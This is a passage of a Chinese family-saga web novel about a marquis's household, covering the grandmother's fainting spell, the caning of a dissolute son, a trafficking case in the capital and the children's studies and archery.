“嗯,大姑娘指法熟稔,是你们里头弹的最好的,可见平日是有练习的。”苏柯说这话的时候,视线还扫视着其余几人。
其实四郎封砚安回去后也有练习,只是他在这方面的天赋实在有限,仅能做到以勤补拙,偶尔受到苏柯的表扬,就这也能让他高兴好几天。
可在封家,身为男孩子,还是要以科举为重,即使有练习,方姨娘也会让他多看书。
今日是琴课,大家心神放松,就连下学后也没有课业。长姐和四郎回去后准备练琴,封砚初照旧誊抄一会医书,然后练武。
大郎的目标明确,他回去要温习明日要学的书,本来想邀请大家去玩的三郎,见都有事,只能选了一个他相对不排斥的事情,那就是去府里准备的靶场练习射箭,气氛看起来很好,除了老太太那里。
原来国丧过后,封简仪再次登门,专门来求母亲为女儿相看人家,本来孙冉嫌母亲上次丢人不想来,只是她性格柔软,哪里是对手,硬是被强拉着来了。
“母亲,既然永定伯家的四郎不行,那您帮我说和一下安家的二郎,这安家可是与咱家有亲的,还不是您一句话的事!”封简仪大言不惭。
老太太出身安家,但兄长已过世,如今支撑门楣的是侄孙安大郎,今年年初才调回京城,在刑部任了一个主事,可四郎回京后春闱并未高中,如今老太太家这一支并不如女儿口中的那一家。
“安二郎家虽与我是同族,可却出了五服,更何况你家的情况他家清清楚楚,是不可能为儿子说这样的亲事。再说之前你不是还嫌弃安二郎家底薄,配不上吗?”
如今的封简仪已经放弃了儿子,她余生的指望全在女儿身上,想到此处眼泪止不住的掉,“母亲以为我愿意这样吗?如今除了冉儿,我将来还能指望谁去?我自然要为她的终身打算。”
说着这里,老太太心头就涌起一股无名之火,语气中带着一些恨铁不成钢的味道,“这怪的了谁?你身为母亲,不想着好好管教孙尧,竟让他在国丧期间眠花宿柳,不仅自己绝了科举之路,还让御史参了你父亲一本,幸亏陛下未曾计较。”
一说起这个,封简仪满心满眼觉得自己无错,“母亲!我如何能管得了他?先前就说让尧儿去封家学塾读书,正好也让弟弟管教管教,否则也不会有今日之事。”
“他之前又不是没进去过!前几年,你弟弟看在你面上想管教管教,可他都做了什么,将学塾里弄的乌烟瘴气,要不是你弟弟果决,还不知成什么样子?前几月竟然还敢提出,让他进学塾?想都不要想,别说你兄弟不答应,就是我,也不答应!”
一说起这个,封简仪就万分后悔,“母亲,你还是我的母亲吗?女儿这些年来的苦,你又不是没看见……”
“这也是你自己选的!当初我帮你相看好的是刘家,可你倒好,嫌弃刘家长兄普通,如今人家是工部侍郎,可孙仲桥呢?连地方上的六品官都当不好!”老太太几乎是咬着牙说的,当初女儿被孙仲桥的长相迷惑嫁了过去,谁知竟是个银样镴枪头,中看不中用。
第二十六章 以后不许她登门
封简仪声声泪下,“原来母亲是这样想女儿的?多年的疼爱都是假的!我是您的女儿啊,您这样嫌弃!”
孙冉不停地拽着母亲,低声道:“母亲,别说了,母亲!”可封简仪滔滔不绝。
她几乎快哭出来了,“母亲,别说了!外祖母瞧着有些不对劲!”话音刚落,老太太在俩人的惊呼中直挺挺的倒下了。
“母亲!”
“外祖母!”
丫鬟青梅听到声音立即掀开帘子进去,惊呼着:“老太太!快去叫大夫!”说话间将封简仪挤到一旁。
封简仪怒目而视,气愤斥责,“不过是我侯府的丫鬟,竟然还敢……”只是她的话还没说完,就被女儿孙冉拉去一旁,“母亲,外祖母都病了,您就别添乱了。”
因为老侯爷与世子在衙门还没回来,所以最先赶到的是大娘子和婶娘温氏,俩人进门就看见孙大夫正在针灸,孙家母女俩人手足无措的站在一旁。
温氏见状朝青梅问道:“怎么回事?好端端的怎么晕倒了?”
青梅一脸愁绪,福了福身道:“老太太与大姑奶奶要说话,便让我们这些下人都出去了,后来我听见屋内发生争执不敢进去,还是最后感觉不对劲,这才进去,没想到老太太已经晕了。”
大娘子本就对封简仪心中不满,如今还发生了这事,当即脸上就冷了下来,出言讽刺,“大姐姐是母亲的女儿,竟将自己的母亲气成这样,可是人子应尽的孝道?可怜母亲一向疼你,没想到,到头来竟是个白眼狼!以前装的可真好。”
“你!”封简仪知道自己做的不对,但也听不得弟妹这么说,气的用手指对方,正要开口骂回去,便被女儿一把拽回。
“母亲,别说了,外祖母还未醒呢?”
大娘子冷哼道:“竟还不如自己的女儿知道孝顺外祖母!”
又过了一会,封砚初这些孙辈们也闻声赶来。
“母亲,祖母怎么样了?”封砚初进门行过礼开口便问。
大娘子面带愁容,忧心不已,摇头道:“还未醒呢,我已经让人拿着你父亲的帖子去请太医了,你祖父和父亲我也让下人去叫了。”
封砚初抄了这么多医书,虽然未正式进学,但也瞧出一二,又根据姑母的表情,忖度着说:“我瞧祖母像是气晕之症,可是谁惹祖母生气了?”
大娘子瞥了一眼封简仪,并未遮掩,“还能有谁?你姑母呗,可真是孝顺!”
封砚敏双眼瞪的老大,捂嘴惊呼:“竟是姑母?”其余人也投去不悦的目光。
封砚初一个没忍住直接讥讽,“封家无论男女皆要进学,看来姑母进学时不曾学习《礼记》,不知孝子之养也,乐其心,不违其志之言。只是侄儿实在不解,就是市井门户家的孩子都知道孝顺父母,怎的到姑母这里竟全然不知了。”
“你个小畜生,我是你的长辈,你竟敢讥讽于我!”这次孙冉没能拉住气冲冲的母亲。
几个孩子吓得连忙将封砚初拉到身后,大娘子更是上前一挡,“怎的?你做的,别人就说不得了?”
“大姐姐将母亲气成这样,以后还是少上门了!”门外传来封简宁的声音,“母亲如何了?”
就在这时,孙大夫的针灸起了作用,老太太幽幽转醒,众人顿时松了一口气。
封简仪正要前去哭诉两句,表示关心,没成想被唐晨与温氏妯娌俩挤在身后,就连封简宁也顺势推了一把。
“母亲,感觉如何?”
老太太虽醒了,但脸色依旧苍白,声音虚弱,“好些了,让你们担心了,我累了,你们三个留下就行,其余人就先回去吧。”她也不想看见女儿。
封简仪无奈只得带着女儿离开,就在众人回去后,老侯爷带着太医回来了。
空气十分寂静,众人都盯着张太医把脉。
直到他收回脉枕,老侯爷这才打破沉寂,“张太医,内人如何?”
“侯夫人乃是七情伤感,脏气不平,气郁生诞,痰诞迷塞心窍而眩晕,乃是气晕之症,只是以后需得平心静气才好。”张太医说完写了一剂药方,“此乃正气散,上锉一剂,生姜一片、枣十枚同煎、温服。”
世子封简宁连忙上前接过药方,拱手致谢,“多谢张太医。”随后送上诊费,派下人将太医送了回去。
老侯爷早就放弃这个女儿,只是老妻心中不忍,这么多年也没少帮衬,如今竟不孝至此,只是事关封氏门风不得传扬,“以后不许她登门,没得将你母亲气得更重!”
其实所有人都在庆幸只是晕过去了,若是真的气中风了,那才糟糕。
封简宁早就对姐姐诸多怨言,有了这话,赶紧应了,“是,父亲。”
老侯爷看了看周围,唯独少了次子,眉心深拧,“老二呢?”
温氏在内心不停地咒骂着夫君,脸上却不敢露出来,只能说,“夫君今儿一早出门就没回来,儿媳已经着人去找了。”
“这个逆子!整日不着家,自己母亲还病着,至今不见人影,回来看我怎么收拾!”老侯爷下定决心,等次子回来就棍棒伺候,谁说话也不好使。
二叔封简言可以称得上是至晚方归,下人们在他经常光顾的几个地方愣是没找着人。
刚进门,迎接他的就是老侯爷手里的热茶杯。
只听‘咣当’一声,热茶顺着额头流下来,他抬袖擦了擦额头,语气中带着漫不经心,“父亲,谁惹您了,将气撒在儿子身上。”
“你今天去哪了?下人找了你一圈没找到!”
封简言眼神微闪,迅速恢复平静,“和几个友人出城去了趟灵台寺。”
“胡扯!说胡话前先将你那满身的脂粉气洗净!”
“您都知道了,还问我。”这百日的国丧可憋坏了封简言,听人说集流巷一个姓孟的商户,养了几个女孩子,便与几个狐朋狗友接连几日都混在那里,要不是老侯爷门禁严,他晚上都未必回来。
封靖良发誓要将此子打的下不来床,看他还敢出去鬼混,“你母亲生病,你还有心思在外胡混,来人!拿大棍!”
封简言没想到父亲竟然来真的,连忙求饶,“父亲,母亲病的突然,儿子如何未卜先知,若是知道又怎么可能出去!”
封靖良根本不听,他就是要趁此教训次子。
封简言一向风流,又怎么可能是对手,那几个强壮的下人迅速将其捆了,紧接着‘啪啪啪’的声音传出,终究是没能躲过。
第二十七章 莫不是装的?
封靖良这次下手很重,没个十天半个月是别想下床。
“哎哟,哎呀,父亲,就这样在大庭广众之下杖刑,好歹给儿子留个脸面吧!”封简言不仅要忍受皮肉之痛,还要忍受下人的窃窃私语。
“脸面?我竟不知你还有这种东西?你的脸面早就被你自己个儿,扔在地上踩的稀碎!何故问我来要!”封靖良只觉得家门不幸,竟生出这两个孽障!
没一会儿,人就被打昏了,底下人赶紧停手,“人晕了。”
封靖良狐疑道:“真晕了?莫不是装的?”老侯爷也与长子一样,并非对儿子不信任,实在是有前车之鉴。
“去将孙大夫叫来,只要打不坏,就给我继续打!”
封简言见躲不过去,睁开眼睛哭诉,“父亲,你这是想要儿子的命不成?”
老侯爷冷笑一声,“果真是装的!继续给我打!”噼里啪啦一通下去,过了一会儿,封简言没了声音。
下人们见状立即停手,上前试探,吓得手一缩,惊慌道:“老侯爷,这次果真晕了!”
“抬下去,让孙大夫给他治伤,告诉二房的人,从今儿起,没我的允许,不许他踏出府门半步!”老侯爷见差不多了,有条不紊的吩咐,直接禁了封简言的足。
这次老太太晕倒,身边必定要有人侍疾。可大娘子要管家,只能每日抽空来看看。这个重担就落在婶娘温氏身上,不过温氏是心甘情愿的,她宁可前去照顾老太太,也不愿意伺候夫君。
被打了的封简言躺在床上动弹不得,每日打鸡骂狗的,见此情形,就连几个姨娘也不想近身伺候,温氏只得让她们抽签,轮流排班。
堂兄封砚明也深受影响,以前他最喜欢下学回去吃好吃的,如今回去竟成了一件痛苦的事情。
一日,竟将年近五岁的妹妹封砚潼带到学堂。
“今日怎么带三妹妹来学堂了?”封砚敏一边问,一边叫三妹妹坐在她旁边。
封砚明垂头丧气道:“母亲每日都要去照顾祖母,父亲身上有伤十分心烦,家里也不清净,母亲让我先将妹妹带到学堂来。”
虽然身为晚辈不会轻易打探长辈的事情,更别说他们还都是长房的人。不过耳边多多少少刮过几道风,隐约知道二叔被祖父打了一顿,心情不佳。
“三妹妹来了正好和大姐姐,二妹妹做伴,咱们也能照顾着。”长辈的事晚辈怎好议论,封砚开立即打岔。
“正好今日下学后,咱们一起去靶场,带三妹妹见识一下弓箭。”谁都没想到,二妹妹封砚婉竟是最喜欢射箭的。
而老太太这里,她喝完药,将空碗递给在一旁照顾的温氏,轻声道:“这几日辛苦你了。”
温氏接过空碗,嘴角含笑,声音同样轻柔,“瞧母亲说的,这都是儿媳应该做的,更何况还有下人帮忙,谈何辛苦。”
“其实我也好的差不多了,你整日在我这里,没得耽误你房里的事。”老太太劝道:“更何况老二下不来床,潼儿虽说有下人照顾,但毕竟不周全。”
温氏一边给老太太打扇,一边宽慰,“母亲不用担心,今儿一早,我就让明儿带着潼儿一起去学堂了,那孩子也五岁了,是时候进学了。”
温氏宁可在这里照顾,也不愿意回去,老太太也不好勉强,听后感慨,“不知不觉,潼儿竟到了进学的年岁了。”
“好好学一些书也挺好,虽是女儿家不用科考,可也要知书识礼,想当初我就是对你大姐姐太宽容了,她不爱读书,三天打鱼两天晒网,我也没强求,这才使得她只会计较眼前的三瓜俩枣。”封简仪是她头生的女儿,如何不疼爱,只是到如今才真正明白惯子如杀子。
温氏听后笑而不语,只一味的打扇。
下了学,大家都各人忙各人的去了,只有长姐封砚敏,二妹封砚婉,以及堂兄封砚明三人陪着三妹妹一起去了靶场。
刚到靶场,冯四就已经在等着了,这是他的任务。平日郎君们都在学堂上课,只有下课或者射箭课才会来靶场。其中来的次数最多的要数二郎君和二姑娘,几位之中二郎君是射箭学的最好的,只是如今年岁小,力气弱,只能用小弓。
二姑娘来到场上,立即让人将自己的小弓拿上来,要给三妹妹展示一下自己的水平。
‘叮!叮!’一连射出好几箭,虽然未中靶心,但也没脱靶,对于这么大的孩子来说已经很了不起。
她射完看向封砚潼,语气中带着些许骄傲,“三妹妹,怎么样?你要不要试试,射箭很有意思的,等将来练好了,你还可以亲自给婶娘射只猎物。”
在封砚婉的鼓励下,三妹妹有些跃跃欲试,“那好吧,大姐姐要射箭吗?”
封砚敏也被说的有些心动,她让人找来弓也开始射起来,同时还时刻注意着一旁的俩个妹妹。
其实她本人对射箭一般,只是为了不让别人看轻,这才强迫自己学习。可强迫学习和真正感兴趣的差别还是很大的,最起码,二妹妹没用多长时间就已经追上她了。
二妹妹手把手地教着,“侧身对靶,双脚与肩同宽,身体自然挺直,要站稳,然后搭箭,开弓,再瞄准,最后射出!哎呀,脱靶了。”
三妹妹毕竟是第一次学射箭,虽然站的很近,但还是脱靶了。
“没关系的,你毕竟是第一次射箭,很正常!”封砚敏在一旁宽慰。
二妹妹立即反应过来,夸赞道:“对呀,最起码你的姿势很正确,就按照这样多练习几次就好啦!”
三妹妹封砚潼这几日在家,总会听见父亲骂人和抱怨声,如今能和姐姐们一起射箭十分开心,此刻她与哥哥一样,不想回去。
几人直至天色渐暗时分才离开靶场,除了其余三人,只有封砚敏的心情有些迫不及待。
幸而他们回去之时,母亲温氏也回来了,这让俩人的心情好了许多,因为只有温氏在时,封简言才会收敛一二。
第二十八章 难不成想进京兆府大牢
从这之后,封简仪果真没再上门,老太太的病也渐渐好了。就在一切向着好的方向发展时,京城里出了一个案件。
前宁台知府之子路孝文携母亲与妹妹归乡守孝的路上,妹妹路妍宁半道上丢了,辗转查询得知被拐入京城,现下带着母亲寻迹上京。
自从老太太的病好了以后,温氏除了请安外,就呆在自己房里,每日与封简言朝夕相对,颇有些相看两厌的意思。
这一日,封简言让人将榻抬到凉棚下,自己躺在上面一边闭目养神,一边让屋里一个会唱的姨娘给他唱曲,真是好不自在。
自从女儿去了学堂之后,温氏也闲下来,炎炎夏日使人困顿,想要午睡片刻,但被这声音搅扰不宁。
当下气的出了屋子,看着悠闲的封简言心中怒气更盛,只是脸上不显,抬眼瞥了旁边的姨娘,“宋姨娘,这炎炎夏日的,想必你也唱累了,回去歇着吧!”
宋姨娘早就想回去了,听了这话脸上当时就露出笑来,心中松快了一些,语气里带着讨好,“谢大娘子体谅,妾身这就回去。”说罢只朝封简言福了福身,头也不回的走了。
封简言这些日子心中不痛快,如今他已经好的差不多了,可没想到父亲竟然禁了他的足,如今妻子连这点小事也来计较,只是当着小妾的面不好争执。
他硬生生等妾室离开后,脸色才冷了下来,“你什么意思?我不过是听一听曲,就这点事你也要吃醋?”
这话直接将温氏逗笑了,“噗!吃醋?我要是有闲心吃这个醋,那岂不是要淹死在醋缸里了,你也太看得起自己了,眼见着晌午,我要午睡,你却让宋氏在这里咿咿呀呀的唱曲,要不是吵得慌,我才懒得搭理!”
“你也太霸道了!”
封简言的话还未说完,就被温氏打断,“我看你才霸道,这么热的天,你躺在榻上吃着酥山,还让丫鬟打着扇,可宋氏呢,不仅热的满头大汗,还要给你唱曲,连口水都没得喝,真是连人都不做!”
“温氏!”封简言气的双眼冒火,只是他也不敢闹得太大,万一被父亲母亲知道他也讨不得好。自从温氏进门,但凡他与温氏起争执,挨训受骂的从来都是他。
“别那么大声,我听得见!若是心中不服,大可以给父亲母亲告状去!”温氏扔下这话,冷哼一声,扭头回了屋子。
封简言心中正憋气,就见父亲身边的夏津匆忙赶来,又想到前些日子父亲打他时,此人也出了一份力,正愁找不着人撒气,“哟,这不是夏津吗?贵脚踏贱地啊!”
夏津对这阴阳怪气丝毫不搭理,只是面无表情地行礼道:“京兆府来人,指名要找您,老侯爷让您过去一趟。”
“京兆府?”封简言迅速思索着,也没想明白,国丧期间他很乖,还能有什么事?心里难免有些忐忑,“他们来做什么?”
夏津依旧还是那副样子,“这个小人不知,您去一趟就知道了。”
屋内的温氏闻言出来,“夏津,是京兆府找他?”
此刻夏津的脸上终于有了一些变化,言语间也带着些客气,“回二娘子,是的。”
温氏眼神凌厉,看向封简言的目光仿佛带着尖刀,“你到底做了什么?竟然让京兆府都找上门?”她倒不是关心夫君,而是担心夫君做下什么连累子女的事情。
“我哪里知道!”封简言声音很大,却有些色厉内荏。
来到前院,老侯爷坐在主位上正和京兆府的覃远说着话,直到封简言进门才变了脸色。
“混账东西,前些日子你到底去了何处?还不速速招来!”
封简言心里咯噔一下,不过嘴上却道:“父亲何出此言,我这段时间一直在家里待着,并未出门。”
覃远放下手中的茶杯,看向封简言慢条斯理道:“我看二爷还是说了吧,若未查实,我是万不敢登门的,要不我给二爷提个醒,不知你可听说过集流巷?”
集流巷,当这个名字闯入封简言的耳中之时,他心里更加疑惑,他确实去过不假,可去过的人多了。
“确实听过,听闻有个姓孟的人养了几个女孩子就安置在那里,别的就不清楚了。”
老侯爷冷哼一声,“我看你不是听说,而是去过那里!还不细细说来!难不成想进京兆府的大牢!”
封简言这才不得不吐露实情,“确实去过几次,不过那都是十五天之前了,同去的人里面有,宜平侯罗杰罗三郎、安南将军府孙茂孙五郎、齐国公府沈恭佑沈二郎,其实我们也没干什么,去了只是饮酒作乐罢了。”
“那里出了人命案,你可要想清楚了再说!”覃远神情严肃,瞧封简言的神情明显知道些什么,“看来你确实知道一些事。”
封简言见事情闹的这么大,这才说道:“其实我也是被沈恭佑叫过去的,他家好像与那姓孟的商人有些往来,具体是什么他怎么可能告诉我这个外人。只知此处是这姓孟的,专门用来招待京中权贵,我去过三次,之后便一直待在家未出门,至于那里出没出过人命案就不得而知了。”
覃远听后眼神微眯,神情虽然依旧严肃,但没之前那样吓人,他皮笑肉不笑道:“多谢封二爷告知,我自会去调查,若有不妥之处再来请教,武安侯,下官还有公务在身,就不多打扰了,告辞。”
老侯爷起身相送,“那覃大人自便。”
封简言一直不敢离开,等父亲送客人回来后,这才小心翼翼地问,“父亲,到底发生什么事了?”
老侯爷有心想将人再打一顿。要不是次子不安分,又怎会惹出今日之事,只是在打之前有些话还是要说清楚,免得对方不知事情的严重性。
“前宁台知府在任上病逝,其子路孝文扶灵回乡守孝,没想到半道上妹妹被人拐带,一路追查下,得知竟然被拐入京城,最后又查到了集流巷。”
“路大人生前在官场上也是有两分脸面,路孝文想进去并不难,进去后这才得知妹妹早就被人折辱至死,于是一纸诉状将其状告,天子脚下竟然发生此种污糟之事,就连陛下也很重视,命京兆府严查。”
老侯爷说完后,指着次子神情十分认真道:“你最好庆幸手上没有这种人命官司,否则我不仅会亲自将你扭送京兆府,还会将你从族谱中除名!”
第二十九章 留口气就行
封简言一听父亲如此态度,便明白事情的严重性,连忙道:“还请父亲明鉴,儿子是万万不敢的。”
老侯爷只觉得多看一眼次子,就心中郁结,但又不得不管免得将来带累封氏满门,“往日你在外沾花惹草也就罢了,如今竟如此不知轻重,沾染上这种腌臜,我只盼着没生你这个孽子!你既知道那是齐国公府的地方,还再一再二,他们打的什么算盘你真不知道?还是说明知道他们拉拢咱们武安侯府,你心中得意?”
这话其实说到封简言的心里了,齐国公沈家与皇室同出一族,先祖沈祈安在大晟建立之初,立下不少功劳,又在关键时刻站队成功,这才被太宗封为齐国公。
所以在他心里这齐国公府的地位,是高于他们这些普通侯爵之家,沈恭佑亲自请他,怎能不见识见识,好满足一下心中的那点想头与虚荣。
“齐国公府与皇室纠葛过深,你不想着如何推脱,竟还巴巴的贴上去,全然不将武安侯府放在心上,可怜我在朝中谨小慎微,与其将来毁在你手里,不如我今日打死你!”老侯爷说这话时,全不见往日的愤怒,语气十分平静。
可就是这种语气才吓坏了封简言,他知道父亲心中的愤怒,按照往日他早就嘴上求饶,可现在竟然说不出半点话来。
“夏津,你亲自监刑,留口气就行!”老侯爷说完这话背过身去不再看次子。
封简言吓得牙齿都在打颤,上次父亲还说打不坏就行,这次竟变成了留口气,可即便如此他也不敢多言。
老侯爷生生让底下人打断了次子的腿,直到夏津多次问询,这才停下来。
这次连请孙大夫这几个字都没说,只扔下了一句,“抬回二房。”
其实老太太知道次子挨打的事情,本来想去求情的,可听到底下人说牵扯到人命案,便闭了眼睛午睡。
温氏听到夫君被老侯爷打断了腿,便知事情的严重性,心中只觉得解气,又怎么可能前去恳求,只是在人被抬回来的时候,请了孙大夫。
孙大夫正了骨,又给上了药,然后叮嘱道:“腿骨已经正了,只是毕竟伤筋动骨一百天,这百日之内,二爷最好不要轻易挪动,否则将来有碍于行走。”
温氏看着昏迷着的夫君用帕子轻捂鼻尖,随后点了点头道:“我会让人注意的。”
等到孙大夫离开后,她嘴角露出一抹笑来,看着床上因疼痛而皱眉的人冷哼一声,目光中满是轻蔑,“活该,这几个月就在床上好好待着吧,省的给家中添乱。”
只能说幸亏前段时间,老侯爷将封简言打的下不来床,没能出去鬼混,否则他肯定要被传唤的,京城多少眼睛盯着,还不知传出什么话,甚至还有可能治老侯爷一个教子不严的罪名。
从而不仅仅是封简言本人,就连府中郎君,姑娘的名声都会受影响。
集流巷的案件审理得很快,类似路妍宁的事情不是个例。底下的人为了搜集美貌的女子,可谓是不管不顾的胡来,此次光解救出来的女孩子就多达四十几人。此次主犯斩首,从犯抄家流放,所得金银赔偿给解救女子安家所用。
而陛下早就对齐国公府不满,只是一直未找到由头,此次正是一个机会,便以结党营私,招权纳贿等十几项罪名夺了齐国公的爵位,收回国公府,田产。然感念先祖之功,死罪可免活罪难逃,齐国公与世子及其次子,三子流放三千里。
齐国公其余人也都四散各地,赫赫扬扬的齐国公府就这样倒了。
无论对别人怎样,可落到封砚初眼里,却莫名有一种危机感,如今可是家天下的封建社会,家族命运系于皇室,上面高兴了还好说,一旦不快牵连的可是整个家族。
此时此刻的他,十分理解祖父为什么将二叔打的下不来床,别人或许觉得狠心,可他却不以为然,这才是真正的为家族着想。从这以后,他一改以前的态度,虽然偶有调皮,可学习态度端正了不少,他不知道应该怎么办,可能做的也仅有如此。
二叔此人还是十分爱惜自己的,当真老老实实地在床上躺了三个月。
惟有暗香常在,饱参清露霏微之际,封砚初正在研读草本大全,李妈妈端着一碟子桂花红糖糕进来。
“二郎,园子里的桂花树开花了,厨房里用它做了些桂花红糖糕,我端了一碟,你也看了好一会书,先用些吧。”
封砚初闻着淡淡的桂花香,竟真的有些饿了,放下手中的书,笑道:“正好有些饿了。”
李妈妈一边看着他吃东西,一边赞道:“二郎这几个月学的可真辛苦,就连老侯爷和世子爷也赞呢,前段时间还对众人说你这是开窍了。”
就在这时,门外传来声音。原来是大娘子身边的半夏提着一盏琉璃灯进来。
封砚初放下吃了半块的糕点,边擦手,边问道:“半夏姐姐,可是母亲有什么吩咐?”
半夏先是行了一礼,然后将手中的琉璃灯往前推了推,脸上笑吟吟的,“大娘子前儿新得了一盏琉璃灯,想着二郎君读书辛苦,用它照明最亮堂,便吩咐奴婢送来。”李妈妈听后赶紧接下。
封砚初一边仔细打量着琉璃灯,一边感谢:“母亲对我真是关怀备至,只是这么好看的琉璃灯,留给姐姐多好,她必定喜欢。”
半夏听二郎这么说,脸上的笑意更浓,“大姑娘也觉得此灯二郎君用着很相宜呢。”
封砚初并未强求,而他刚才的话亦是真心的,“既如此,替我谢谢姐姐,等晚些时候再去向母亲致谢。”
半夏赶紧将大娘子的话说了,“大娘子说了,二郎读书最重要,更何况母亲给儿子一个东西罢了,怎的还谢来谢去的。二郎君若是无事,奴婢就先回去了。”
“好,那我明日再去给母亲请安。碧芳,替我送一送半夏姐姐。”
第三十章 家里都安静了
半夏回去后就向大娘子回禀,“大娘子,那琉璃灯您真是送到二郎君心坎上了,他十分喜欢,还说晚些时候要来谢,奴婢说了,母亲送儿子东西怎会在意这些。”
大娘子听后很满意,点头笑道:“你做的对。”
半夏有心夸赞二郎君,又将之前的话说了,“要说二郎君与大姑娘亲厚,见了琉璃灯虽自己喜欢,可第一个想到的竟是姐姐,还说这么好看的灯大姑娘必定喜欢呢。”
大娘子听后果然眉眼都弯了,“他们姐弟俩感情好,我这个做母亲的也高兴。”
半夏又悄悄抬眼看了看大娘子,继续道:“也是王姨娘深守妾室之责,知分寸,知道您才是二郎君的母亲,平日对二郎君那也是疼爱又加,不像刘姨娘,奴婢去送琉璃灯时,那脖子都快伸到二郎君院墙上了。”
大娘子对刘姨娘这些年的变化看在眼里,冷哼一声,“想当年她胆小甚微,我这才停了她的药,自从生下大郎后,觉得这侯府爵位已是囊中之物,这两年也越发没个样子,就连大郎也被她教导的小气。”
半夏因刘姨娘这些年的变化,自是对她不满,只是对方毕竟生了大郎,她怎好多言,如今有了这个机会''当然要在大娘子跟前下火,“记得以前大郎对咱们姑娘多亲近,事事着想,如今也变了。”
“刘姨娘大概是觉得我以后还看他儿子的脸色过活,敏儿也需一个兄弟撑腰,只是她忘了,和王姨娘相比,她只是侯府买来的,人家王姨娘起码父亲还中过秀才,只是可惜体弱多病,这才将人托付到咱家。”大娘子对刘姨娘教导大郎的一些话,心中也十分不满,只是毕竟不是亲儿子,再者夫君也并非他一个儿子,所以懒得搭理罢了。
因为二郎的变化,大郎封砚开即使是在休沐日也不敢松懈。就比如他现在正十分投入的背书时,门外就有人喊他。
原来是刘姨娘还未进门,就开始喊儿子,“大郎,大郎。”
封砚开无奈的放下书本,语气中带着些许不耐烦,“姨娘安静些,我正在背书呢!”
刘姨娘意识到失了口,连忙捂了捂嘴,讪讪地笑了笑:“我一时失了口,背书不急在一时,我有话同你说。”
封砚开指了指书本,抬头看向刘姨娘,眼神中一片平静,这已经不是第一次了,“姨娘,这一段,二弟昨日课堂上就已经背过了,若非我比他刻苦用功,只怕早就超过我了,如今我要十分努力才能领先于他,你就别添乱了。”
刘姨娘撇了撇嘴,指着封砚初院子的方向,啧啧道:“如今就连夫人也待他不同,我方才瞧见半夏将一个琉璃灯送过去了,那可是价值不菲的琉璃灯啊,大娘子竟也舍得,她可曾给过你这么贵重的东西?”
封砚开并不想在这些小事上计较,他觉得读书更重要,只要将来能考取功名,满府上下自然另眼相看,“那不是也没有给姐姐吗?姐姐还是母亲的亲生女儿呢!姨娘,你就不要再拿这些细枝末节的事情来扰我,我还要读书呢,这才是更重要的!”
刘姨娘真可谓是愤愤而来,郁郁而去,连亲生的儿子都不放在心上,她这个生母又能如何,不过是干着急罢了,可除了自己,还有谁会为他着想。
等刘姨娘离开后,封砚开这才放下手中的书,姨娘怎会理解他,正因二弟在背后紧追,这才让他感到危机和紧迫感,如今还要在这些事上来烦他。
“霁红,以后姨娘来就说我在读书,不能打扰!”
大丫鬟霁红福了福身,“是,郎君,奴婢记下了。”
他挥了挥手,示意对方退下,然后继续读书。
三郎处,张姨娘不紧不慢地喝着桂花蜜饮,眼睛时不时瞟一眼儿子,“看我做甚?还不赶紧写!”
三郎封砚池又看向另一边的乳母柳妈妈,柳妈妈张了张嘴,最终什么都没说。
“你谁都不用看,现在学堂里就你最差,就连四郎都撵上你了,他还比你小一岁,晚一年进学,你也实在不像话。如今杨先生找世子爷告状,只能让我每日看着你写字,你以为我愿意看着你,有这时间还不如去找王姨娘打叶子牌呢。”也就张姨娘心宽,否则碰上三郎这般不爱学习的儿子,保准气出病来。
张姨娘说到此处,又看向柳妈妈,眼神里满是埋怨,“柳妈妈,不是我说你,你也太惯着三郎了,每每他撒娇卖乖你就心软,还伙同瑞雪一起哄我,要不是大娘子将我叫去训了一通,我还被蒙在鼓里呢!”
张姨娘说完猛地朝儿子头上敲了一下,眼睛里冒着火,斥责道:“看什么看,还不赶紧写!只要与读书无关的,就没你不感兴趣的。”
由于封砚初近几个月很努力,连带学堂里的学习气氛很好,只是这里头有一颗老鼠屎,那就是三郎。以前没什么,只是现下一对比显得贪玩懒惰,就连杨旭升都看不下去了,屡教不改,只能给封简宁告状。
封简宁虽然对三子不重视,但毕竟是自己的亲儿子,该管教还是要管教的,只是他太忙怎么可能留出时间,只叫来骂了一顿,然后对大娘子提了。可大娘子也很忙,除了管着家事,还要教养女儿,关注大郎与二郎,于是将张姨娘叫去训了一通,让其盯着三郎读书。
张姨娘只能牺牲自己的时间,没成想即使她坐到跟前,儿子也是心不在焉的。
而四郎封砚安属于那种有贼心没贼胆。妹妹封砚婉已经跑去靶场练习射箭,这让他十分眼馋,也想去。但是方姨娘一回来就说,世子爷将三哥叫去训斥了一通,就因为三哥不好好读书,四郎见状只能安安静静地坐在房间里读书写字。
就连老太太都在感慨,往日孩子们休沐是最热闹的,今日就连家中都安静了许多。
第三十一章 我这次就不打你了
竹溪手里捧着一个竹节杯,杯中是为老太太喝的露芽茶,她将茶捧过去,笑吟吟道:“自从二郎君开窍以后,府中的郎君们读书愈发刻苦,这才安静了些,怎的老太太又惦记了?”
老太太接过茶杯,剜了一眼竹溪,“也就说说嘴罢了,他们这般懂事,我高兴还来不及呢。”
说话间,青梅捧着桂花红糖糕进来,“老太太,园子里的桂花树开了,满园的香气,大娘子觉着来日被秋雨打落了可惜,便让下人收集了一些,现下厨房做了桂花红糖糕送来,老太太可要尝尝?”
老太太拿了一块,入口微甜不腻,连连点头,“嗯,吃着还不错,可给府里的郎君和姑娘们送去了?”
青梅进门前特意问了,不过还是美化了一番,“张姨娘正盯着三郎君写字,不许外物影响,二姑娘去靶场练习射箭去了,四郎君许是想着与妹妹一起用,除了这两处,其余的都送去了。”
即使在侯府,郎君们看着差不多,可是其中是有差异的。和别的郎君们相比,三郎君和四郎君的人去厨房要东西,虽然不会短缺,但也绝不会殷勤的主动送上;至于二姑娘,姓名中虽有个婉字,可性格一点也不温婉,可能是自出生就体弱的缘故,她最喜骑马射箭一类,也不爱计较。
大姑娘是嫡出,自然要巴结着;而大郎君居长,满府明眼人都可以看出将来是要承袭爵位的。二郎君看着对下人和气,性格调皮,可底下人还真不敢糊弄他,更别说二郎君很受上头主子们的重视。至于二房,即使二爷不中用,可俩人就那一双儿女。
老太太自然听出来了,可她没计较。五根手指还不一样长短,无论是长子,还是大娘子这俩个做父母的,对几人的态度都不一样,更何况底下人。
“这三郎还真是不爱读书,才被他父亲训斥了一顿,又有他姨娘盯着,但愿会安分几日吧。”
靶场,二姑娘封砚婉带着三姑娘封砚潼正在射箭。
因为大姐姐练琴,刺绣,而且与封砚潼年岁相差较多,俩人兴趣相差太远,玩不到一块,所以三姑娘更喜欢与二姐姐玩。
